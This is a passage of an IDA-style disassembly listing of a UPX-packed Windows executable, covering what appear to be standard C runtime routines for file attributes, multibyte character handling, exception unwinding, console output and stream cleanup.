		pop	eax
		jmp	short loc_4142F2
; ---------------------------------------------------------------------------


loc_41429D:				; CODE XREF: sub_41426C+Bj
		test	[ebp+arg_4], 0FFFFFFF9h
		jnz	short loc_414279
		push	[ebp+arg_0]
		call	dword_41D120	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4142CA
		call	dword_41D1D8	; RtlGetLastWin32Error
		push	eax
		call	sub_40C888
		pop	ecx


loc_4142C1:				; CODE XREF: sub_41426C+82j
		call	sub_40C862
		mov	eax, [eax]
		jmp	short loc_4142F2
; ---------------------------------------------------------------------------


loc_4142CA:				; CODE XREF: sub_41426C+46j
		test	al, 10h
		jnz	short loc_4142F0
		test	al, 1
		jz	short loc_4142F0
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_4142F0
		call	sub_40C875
		mov	dword ptr [eax], 5
		call	sub_40C862
		mov	dword ptr [eax], 0Dh
		jmp	short loc_4142C1
; ---------------------------------------------------------------------------


loc_4142F0:				; CODE XREF: sub_41426C+60j
					; sub_41426C+64j ...
		xor	eax, eax


loc_4142F2:				; CODE XREF: sub_41426C+2Fj
					; sub_41426C+5Cj
		pop	esi
		pop	ebp
		retn
sub_41426C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4142F5	proc near		; CODE XREF: sub_4143B1+Dp

var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_10]
		call	sub_40C799
		mov	eax, [ebp+arg_0]
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_41433A
		call	sub_40C862
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_40B255
		add	esp, 14h
		cmp	[ebp+var_4], bl
		jz	short loc_414336
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh


loc_414336:				; CODE XREF: sub_4142F5+38j
		xor	eax, eax
		jmp	short loc_4143AE
; ---------------------------------------------------------------------------


loc_41433A:				; CODE XREF: sub_4142F5+1Bj
		push	esi
		mov	esi, [ebp+var_C]
		cmp	[esi+8], ebx
		jnz	short loc_41437D
		push	[ebp+arg_4]
		push	eax
		call	sub_415BE0
		pop	ecx
		pop	ecx
		jmp	short loc_414391
; ---------------------------------------------------------------------------


loc_414350:				; CODE XREF: sub_4142F5+92j
		movzx	edx, cl
		test	byte ptr [edx+esi+1Dh],	4
		jz	short loc_414374
		inc	eax
		mov	dl, [eax]
		cmp	dl, bl
		jz	short loc_41439F
		movzx	ecx, cx
		movzx	edx, dl
		shl	ecx, 8
		or	ecx, edx
		cmp	[ebp+arg_4], ecx
		jnz	short loc_41437C
		dec	eax
		jmp	short loc_414391
; ---------------------------------------------------------------------------


loc_414374:				; CODE XREF: sub_4142F5+63j
		movzx	edx, cx
		cmp	[ebp+arg_4], edx
		jz	short loc_414389


loc_41437C:				; CODE XREF: sub_4142F5+7Aj
		inc	eax


loc_41437D:				; CODE XREF: sub_4142F5+4Cj
		movzx	cx, byte ptr [eax]
		movzx	ecx, cx
		cmp	cx, bx
		jnz	short loc_414350


loc_414389:				; CODE XREF: sub_4142F5+85j
		movzx	ecx, cx
		cmp	[ebp+arg_4], ecx
		jnz	short loc_41439F


loc_414391:				; CODE XREF: sub_4142F5+59j
					; sub_4142F5+7Dj
		cmp	[ebp+var_4], bl
		jz	short loc_4143AD
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh
		jmp	short loc_4143AD
; ---------------------------------------------------------------------------


loc_41439F:				; CODE XREF: sub_4142F5+6Aj
					; sub_4142F5+9Aj
		cmp	[ebp+var_4], bl
		jz	short loc_4143AB
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh


loc_4143AB:				; CODE XREF: sub_4142F5+ADj
		xor	eax, eax


loc_4143AD:				; CODE XREF: sub_4142F5+9Fj
					; sub_4142F5+A8j
		pop	esi


loc_4143AE:				; CODE XREF: sub_4142F5+43j
		pop	ebx
		leave
		retn
sub_4142F5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4143B1	proc near		; CODE XREF: sub_40ED0F+74p
					; sub_416CC7+40p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4142F5
		add	esp, 0Ch
		pop	ebp
		retn
sub_4143B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4143C8	proc near		; CODE XREF: sub_414484+Dp

var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	[ebp+arg_8]
		xor	ebx, ebx
		lea	ecx, [ebp+var_14]
		mov	[ebp+var_4], ebx
		call	sub_40C799
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jnz	short loc_414410
		call	sub_40C862
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_40B255
		add	esp, 14h
		cmp	[ebp+var_8], bl
		jz	short loc_41440C
		mov	eax, [ebp+var_C]
		and	dword ptr [eax+70h], 0FFFFFFFDh


loc_41440C:				; CODE XREF: sub_4143C8+3Bj
		xor	eax, eax
		jmp	short loc_414481
; ---------------------------------------------------------------------------


loc_414410:				; CODE XREF: sub_4143C8+1Ej
		push	esi
		mov	esi, [ebp+var_10]
		cmp	[esi+8], ebx
		jnz	short loc_414432
		push	[ebp+arg_4]
		push	ecx
		call	sub_415CA0
		pop	ecx
		pop	ecx
		cmp	[ebp+var_8], bl
		jz	short loc_414480
		mov	ecx, [ebp+var_C]
		and	dword ptr [ecx+70h], 0FFFFFFFDh
		jmp	short loc_414480
; ---------------------------------------------------------------------------


loc_414432:				; CODE XREF: sub_4143C8+4Fj
		push	edi


loc_414433:				; CODE XREF: sub_4143C8+A6j
		mov	dl, [ecx]
		movzx	eax, dl
		movzx	edi, al
		test	byte ptr [edi+esi+1Dh],	4
		jz	short loc_414463
		inc	ecx
		mov	dl, [ecx]
		cmp	dl, bl
		jz	short loc_41445E
		movzx	edi, dl
		shl	eax, 8
		or	eax, edi
		cmp	[ebp+arg_4], eax
		jnz	short loc_41446B
		lea	eax, [ecx-1]
		mov	[ebp+var_4], eax
		jmp	short loc_41446B
; ---------------------------------------------------------------------------


loc_41445E:				; CODE XREF: sub_4143C8+7Fj
		cmp	[ebp+var_4], ebx
		jmp	short loc_414466
; ---------------------------------------------------------------------------


loc_414463:				; CODE XREF: sub_4143C8+78j
		cmp	[ebp+arg_4], eax


loc_414466:				; CODE XREF: sub_4143C8+99j
		jnz	short loc_41446B
		mov	[ebp+var_4], ecx


loc_41446B:				; CODE XREF: sub_4143C8+8Cj
					; sub_4143C8+94j ...
		inc	ecx
		cmp	dl, bl
		jnz	short loc_414433
		pop	edi
		cmp	[ebp+var_8], bl
		jz	short loc_41447D
		mov	eax, [ebp+var_C]
		and	dword ptr [eax+70h], 0FFFFFFFDh


loc_41447D:				; CODE XREF: sub_4143C8+ACj
		mov	eax, [ebp+var_4]


loc_414480:				; CODE XREF: sub_4143C8+5Fj
					; sub_4143C8+68j
		pop	esi


loc_414481:				; CODE XREF: sub_4143C8+46j
		pop	ebx
		leave
		retn
sub_4143C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414484	proc near		; CODE XREF: sub_40ED0F+4Fp
					; sub_40ED0F+59p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4143C8
		add	esp, 0Ch
		pop	ebp
		retn
sub_414484	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41449B	proc near		; CODE XREF: sub_40F0F5+83p
					; sub_4157F6+28p ...

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_18]
		call	sub_40C799
		mov	ebx, [ebp+arg_0]
		lea	eax, [ebx+1]
		cmp	eax, 100h
		ja	short loc_4144CB
		mov	eax, [ebp+var_18]
		mov	eax, [eax+0C8h]
		movzx	eax, word ptr [eax+ebx*2]
		jmp	short loc_414540
; ---------------------------------------------------------------------------


loc_4144CB:				; CODE XREF: sub_41449B+1Fj
		mov	[ebp+arg_0], ebx
		sar	[ebp+arg_0], 8
		lea	eax, [ebp+var_18]
		push	eax
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		push	eax
		call	sub_4127F4
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4144FC
		mov	al, byte ptr [ebp+arg_0]
		push	2
		mov	[ebp+var_8], al
		mov	[ebp+var_7], bl
		mov	[ebp+var_6], 0
		pop	ecx
		jmp	short loc_414506
; ---------------------------------------------------------------------------


loc_4144FC:				; CODE XREF: sub_41449B+4Dj
		xor	ecx, ecx
		mov	[ebp+var_8], bl
		mov	[ebp+var_7], 0
		inc	ecx


loc_414506:				; CODE XREF: sub_41449B+5Fj
		mov	eax, [ebp+var_18]
		push	1
		push	dword ptr [eax+14h]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_4]
		push	eax
		push	ecx
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_18]
		push	1
		push	eax
		call	sub_4151A8
		add	esp, 20h
		test	eax, eax
		jnz	short loc_41453C
		cmp	[ebp+var_C], al
		jz	short loc_414538
		mov	eax, [ebp+var_10]
		and	dword ptr [eax+70h], 0FFFFFFFDh


loc_414538:				; CODE XREF: sub_41449B+94j
		xor	eax, eax
		jmp	short loc_414550
; ---------------------------------------------------------------------------


loc_41453C:				; CODE XREF: sub_41449B+8Fj
		movzx	eax, [ebp+var_4]


loc_414540:				; CODE XREF: sub_41449B+2Ej
		and	eax, [ebp+arg_4]
		cmp	[ebp+var_C], 0
		jz	short loc_414550
		mov	ecx, [ebp+var_10]
		and	dword ptr [ecx+70h], 0FFFFFFFDh


loc_414550:				; CODE XREF: sub_41449B+9Fj
					; sub_41449B+ACj
		pop	ebx
		leave
		retn
sub_41449B	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_414560	proc near		; CODE XREF: sub_401304+46p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_414579
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_414579:				; CODE XREF: sub_414560+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_414560	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414594	proc near		; CODE XREF: sub_4145E7+Ep

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	[ebp+arg_0]
		lea	ecx, [ebp+var_10]
		call	sub_40C799
		movzx	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_C]
		mov	dl, [ebp+arg_C]
		test	[ecx+eax+1Dh], dl
		jnz	short loc_4145D5
		cmp	[ebp+arg_8], 0
		jz	short loc_4145CF
		mov	ecx, [ebp+var_10]
		mov	ecx, [ecx+0C8h]
		movzx	eax, word ptr [ecx+eax*2]
		and	eax, [ebp+arg_8]
		jmp	short loc_4145D1
; ---------------------------------------------------------------------------


loc_4145CF:				; CODE XREF: sub_414594+27j
		xor	eax, eax


loc_4145D1:				; CODE XREF: sub_414594+39j
		test	eax, eax
		jz	short loc_4145D8


loc_4145D5:				; CODE XREF: sub_414594+21j
		xor	eax, eax
		inc	eax


loc_4145D8:				; CODE XREF: sub_414594+3Fj
		cmp	[ebp+var_4], 0
		jz	short locret_4145E5
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh

locret_4145E5:				; CODE XREF: sub_414594+48j
		leave
		retn
sub_414594	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4145E7	proc near		; CODE XREF: sub_40F568+41p
					; sub_40F6A5+55p ...

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	4
		push	0
		push	[ebp+arg_0]
		push	0
		call	sub_414594
		add	esp, 10h
		pop	ebp
		retn
sub_4145E7	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_414618
		push	dword ptr [ebp+8]
		call	sub_416F6E	; RtlUnwind


loc_414618:				; DATA XREF: UPX0:0041460Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_414620:				; DATA XREF: sub_414665+Bo
					; UPX0:004146F2o
		mov	ecx, [esp+4]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_414664
		mov	eax, [esp+14h]
		mov	ecx, [eax-4]
		xor	ecx, eax
		call	sub_40AC1C
		push	ebp
		mov	ebp, [eax+10h]
		mov	edx, [eax+28h]
		push	edx
		mov	edx, [eax+24h]
		push	edx
		call	sub_414665
		add	esp, 8
		pop	ebp
		mov	eax, [esp+8]
		mov	edx, [esp+10h]
		mov	[edx], eax
		mov	eax, 3

locret_414664:				; CODE XREF: UPX0:00414630j
		retn

; =============== S U B	R O U T	I N E =======================================



sub_414665	proc near		; CODE XREF: UPX0:0041464Cp

var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	ebp
		push	eax
		push	0FFFFFFFEh
		push	offset loc_414620
		push	large dword ptr	fs:0
		mov	eax, dword_42A034
		xor	eax, esp
		push	eax
		lea	eax, [esp+24h+var_20]
		mov	large fs:0, eax


loc_41468E:				; CODE XREF: sub_414665:loc_4146D5j
		mov	eax, [esp+24h+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4146D7
		cmp	[esp+24h+arg_4], 0FFFFFFFFh
		jz	short loc_4146AA
		cmp	esi, [esp+24h+arg_4]
		jbe	short loc_4146D7


loc_4146AA:				; CODE XREF: sub_414665+3Dj
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+24h+var_18], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_4146D5
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_414715
		mov	eax, [ebx+esi*4+8]
		call	sub_414734


loc_4146D5:				; CODE XREF: sub_414665+57j
		jmp	short loc_41468E
; ---------------------------------------------------------------------------


loc_4146D7:				; CODE XREF: sub_414665+36j
					; sub_414665+43j
		mov	ecx, [esp+24h+var_20]
		mov	large fs:0, ecx
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_414665	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset loc_414620
		jnz	short locret_41470B
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41470B
		mov	eax, 1

locret_41470B:				; CODE XREF: UPX0:004146F9j
					; UPX0:00414704j
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41470C	proc near		; CODE XREF: sub_410E70+1Ep
					; sub_410E70+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_42AD20
		jmp	short loc_414720
sub_41470C	endp


; =============== S U B	R O U T	I N E =======================================



sub_414715	proc near		; CODE XREF: sub_40FF0C+6Ep
					; sub_410015+8p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ecx
		mov	ebx, offset dword_42AD20
		mov	ecx, [esp+8+arg_0]


loc_414720:				; CODE XREF: sub_41470C+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		push	ebp
		push	ecx
		push	eax
		pop	eax
		pop	ecx
		pop	ebp
		pop	ecx
		pop	ebx
		retn	4
sub_414715	endp


; =============== S U B	R O U T	I N E =======================================



sub_414734	proc near		; CODE XREF: sub_40FF0C+7Bp
					; sub_414665+6Bp
		call	eax
		retn
sub_414734	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414737	proc near		; CODE XREF: sub_4106A9+59p
					; sub_4106A9+6Ap ...

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		inc	eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_414747
		xor	eax, eax


loc_414747:				; CODE XREF: sub_414737+Cj
		pop	ebp
		retn
sub_414737	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414749	proc near		; CODE XREF: sub_41640B+69p

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		push	ebx
		xor	ebx, ebx
		cmp	ecx, ebx
		push	esi
		push	edi
		jl	short loc_4147B5
		cmp	ecx, dword_430148
		jnb	short loc_4147B5
		mov	eax, ecx
		sar	eax, 5
		mov	esi, ecx
		lea	edi, ds:430160h[eax*4]
		mov	eax, [edi]
		and	esi, 1Fh
		shl	esi, 6
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_4147B5
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_4147B5
		cmp	dword_42A030, 1
		jnz	short loc_4147AB
		sub	ecx, ebx
		jz	short loc_4147A2
		dec	ecx
		jz	short loc_41479D
		dec	ecx
		jnz	short loc_4147AB
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_4147A5
; ---------------------------------------------------------------------------


loc_41479D:				; CODE XREF: sub_414749+4Aj
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_4147A5
; ---------------------------------------------------------------------------


loc_4147A2:				; CODE XREF: sub_414749+47j
		push	ebx
		push	0FFFFFFF6h


loc_4147A5:				; CODE XREF: sub_414749+52j
					; sub_414749+57j
		call	dword_41D11C	; SetStdHandle


loc_4147AB:				; CODE XREF: sub_414749+43j
					; sub_414749+4Dj
		mov	eax, [edi]
		or	dword ptr [esi+eax], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_4147CA
; ---------------------------------------------------------------------------


loc_4147B5:				; CODE XREF: sub_414749+Fj
					; sub_414749+17j ...
		call	sub_40C862
		mov	dword ptr [eax], 9
		call	sub_40C875
		mov	[eax], ebx
		or	eax, 0FFFFFFFFh


loc_4147CA:				; CODE XREF: sub_414749+6Aj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_414749	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4147CF	proc near		; CODE XREF: sub_410EBC+19p
					; sub_415E0C+85p ...

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_4147F4
		call	sub_40C875
		and	dword ptr [eax], 0
		call	sub_40C862
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4147F4:				; CODE XREF: sub_4147CF+Bj
		push	esi
		xor	esi, esi
		cmp	eax, esi
		jl	short loc_41481D
		cmp	eax, dword_430148
		jnb	short loc_41481D
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_430160[ecx*4]
		shl	eax, 6
		add	eax, ecx
		test	byte ptr [eax+4], 1
		jnz	short loc_414841


loc_41481D:				; CODE XREF: sub_4147CF+2Aj
					; sub_4147CF+32j
		call	sub_40C875
		mov	[eax], esi
		call	sub_40C862
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 9
		call	sub_40B255
		add	esp, 14h
		or	eax, 0FFFFFFFFh
		jmp	short loc_414843
; ---------------------------------------------------------------------------


loc_414841:				; CODE XREF: sub_4147CF+4Cj
		mov	eax, [eax]


loc_414843:				; CODE XREF: sub_4147CF+70j
		pop	esi
		pop	ebp
		retn
sub_4147CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414846	proc near		; CODE XREF: sub_410F41+AFp
					; sub_41178D+7Fp ...

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	0Ch
		push	offset dword_426C90
		call	__SEH_prolog4
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		sar	eax, 5
		mov	esi, edi
		and	esi, 1Fh
		shl	esi, 6
		add	esi, dword_430160[eax*4]
		mov	[ebp+var_1C], 1
		xor	ebx, ebx
		cmp	[esi+8], ebx
		jnz	short loc_4148AD
		push	0Ah
		call	sub_40CFA9
		pop	ecx
		mov	[ebp+ms_exc.disabled], ebx
		cmp	[esi+8], ebx
		jnz	short loc_4148A1
		push	0FA0h
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_413600
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_41489E
		mov	[ebp+var_1C], ebx


loc_41489E:				; CODE XREF: sub_414846+53j
		inc	dword ptr [esi+8]


loc_4148A1:				; CODE XREF: sub_414846+3Fj
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_4148DD


loc_4148AD:				; CODE XREF: sub_414846+2Fj
		cmp	[ebp+var_1C], ebx
		jz	short loc_4148CF
		mov	eax, edi
		sar	eax, 5
		and	edi, 1Fh
		shl	edi, 6
		mov	eax, dword_430160[eax*4]
		lea	eax, [eax+edi+0Ch]
		push	eax
		call	dword_41D1CC	; RtlEnterCriticalSection


loc_4148CF:				; CODE XREF: sub_414846+6Aj
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog4
		retn
sub_414846	endp


; =============== S U B	R O U T	I N E =======================================



sub_4148D8	proc near		; DATA XREF: UPX0:00426CA8o
		xor	ebx, ebx
		mov	edi, [ebp+8]
sub_4148D8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4148DD	proc near		; CODE XREF: sub_414846+62p
		push	0Ah
		call	sub_40CECF
		pop	ecx
		retn
sub_4148DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4148E6	proc near		; CODE XREF: sub_411050+3p
					; sub_41185F+3p ...

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_430160[ecx*4]
		shl	eax, 6
		lea	eax, [ecx+eax+0Ch]
		push	eax
		call	dword_41D204	; RtlLeaveCriticalSection
		pop	ebp
		retn
sub_4148E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41490D	proc near		; CODE XREF: sub_41105A+31Cp
					; sub_41105A+349p

var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
var_4		= dword	ptr -4
arg_0		= word ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, dword_42A034
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	esi
		xor	esi, esi
		cmp	dword_42AD30, esi
		jz	short loc_414979
		cmp	dword_42AE44, 0FFFFFFFEh
		jnz	short loc_414938
		call	sub_415CCD


loc_414938:				; CODE XREF: sub_41490D+24j
		mov	eax, dword_42AE44
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_414949


loc_414942:				; CODE XREF: sub_41490D+59j
					; sub_41490D+64j ...
		mov	eax, 0FFFFh
		jmp	short loc_4149B9
; ---------------------------------------------------------------------------


loc_414949:				; CODE XREF: sub_41490D+33j
		push	esi
		lea	ecx, [ebp+var_10]
		push	ecx
		push	1
		lea	ecx, [ebp+arg_0]
		push	ecx
		push	eax
		call	dword_41D110	; WriteConsoleW
		test	eax, eax
		jnz	short loc_4149C6
		cmp	dword_42AD30, 2
		jnz	short loc_414942
		call	dword_41D1D8	; RtlGetLastWin32Error
		cmp	eax, 78h
		jnz	short loc_414942
		mov	dword_42AD30, esi


loc_414979:				; CODE XREF: sub_41490D+1Bj
		push	esi
		push	esi
		push	5
		lea	eax, [ebp+var_C]
		push	eax
		push	1
		lea	eax, [ebp+arg_0]
		push	eax
		push	esi
		call	dword_41D114	; GetConsoleOutputCP
		push	eax
		call	dword_41D07C	; WideCharToMultiByte
		mov	ecx, dword_42AE44
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_414942
		push	esi
		lea	edx, [ebp+var_10]
		push	edx
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	ecx
		call	dword_41D118	; WriteConsoleA
		test	eax, eax
		jz	short loc_414942


loc_4149B5:				; CODE XREF: sub_41490D+C3j
		mov	ax, [ebp+arg_0]


loc_4149B9:				; CODE XREF: sub_41490D+3Aj
		mov	ecx, [ebp+var_4]
		xor	ecx, ebp
		pop	esi
		call	sub_40AC1C
		leave
		retn
; ---------------------------------------------------------------------------


loc_4149C6:				; CODE XREF: sub_41490D+50j
		mov	dword_42AD30, 1
		jmp	short loc_4149B5
sub_41490D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4149D2	proc near		; CODE XREF: sub_4119CD+Ep

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	10h
		push	offset dword_426CB0
		call	__SEH_prolog4
		xor	ebx, ebx
		mov	[ebp+var_1C], ebx
		push	1
		call	sub_40CFA9
		pop	ecx
		mov	[ebp+ms_exc.disabled], ebx
		push	3
		pop	edi


loc_4149F1:				; CODE XREF: sub_4149D2+7Fj
		mov	[ebp+var_20], edi
		cmp	edi, dword_430140
		jge	short loc_414A53
		mov	esi, edi
		shl	esi, 2
		mov	eax, dword_42F138
		add	eax, esi
		cmp	[eax], ebx
		jz	short loc_414A50
		mov	eax, [eax]
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_414A23
		push	eax
		call	sub_415D90
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_414A23
		inc	[ebp+var_1C]


loc_414A23:				; CODE XREF: sub_4149D2+40j
					; sub_4149D2+4Cj
		cmp	edi, 14h
		jl	short loc_414A50
		mov	eax, dword_42F138
		mov	eax, [esi+eax]
		add	eax, 20h
		push	eax
		call	dword_41D1C8	; RtlDeleteCriticalSection
		mov	eax, dword_42F138
		push	dword ptr [esi+eax]
		call	sub_40ADC8
		pop	ecx
		mov	eax, dword_42F138
		mov	[esi+eax], ebx


loc_414A50:				; CODE XREF: sub_4149D2+38j
					; sub_4149D2+54j
		inc	edi
		jmp	short loc_4149F1
; ---------------------------------------------------------------------------


loc_414A53:				; CODE XREF: sub_4149D2+28j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_414A68
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog4
		retn
sub_4149D2	endp


; =============== S U B	R O U T	I N E =======================================



sub_414A68	proc near		; CODE XREF: sub_4149D2+88p
					; DATA XREF: UPX0:00426CC8o
		push	1
		call	sub_40CECF
		pop	ecx
		retn
sub_414A68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414A71	proc near		; CODE XREF: sub_414AD9+17p
					; sub_415D19+37p

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	cl, 3
		xor	ebx, ebx
		cmp	cl, 2
		jnz	short loc_414ACA
		test	eax, 108h
		jz	short loc_414ACA
		mov	eax, [esi+8]
		push	edi
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_414AC9
		push	edi
		push	eax
		push	esi
		call	sub_411ACB
		pop	ecx
		push	eax
		call	sub_41178D
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_414AC2
		mov	eax, [esi+0Ch]
		test	al, al
		jns	short loc_414AC9
		and	eax, 0FFFFFFFDh
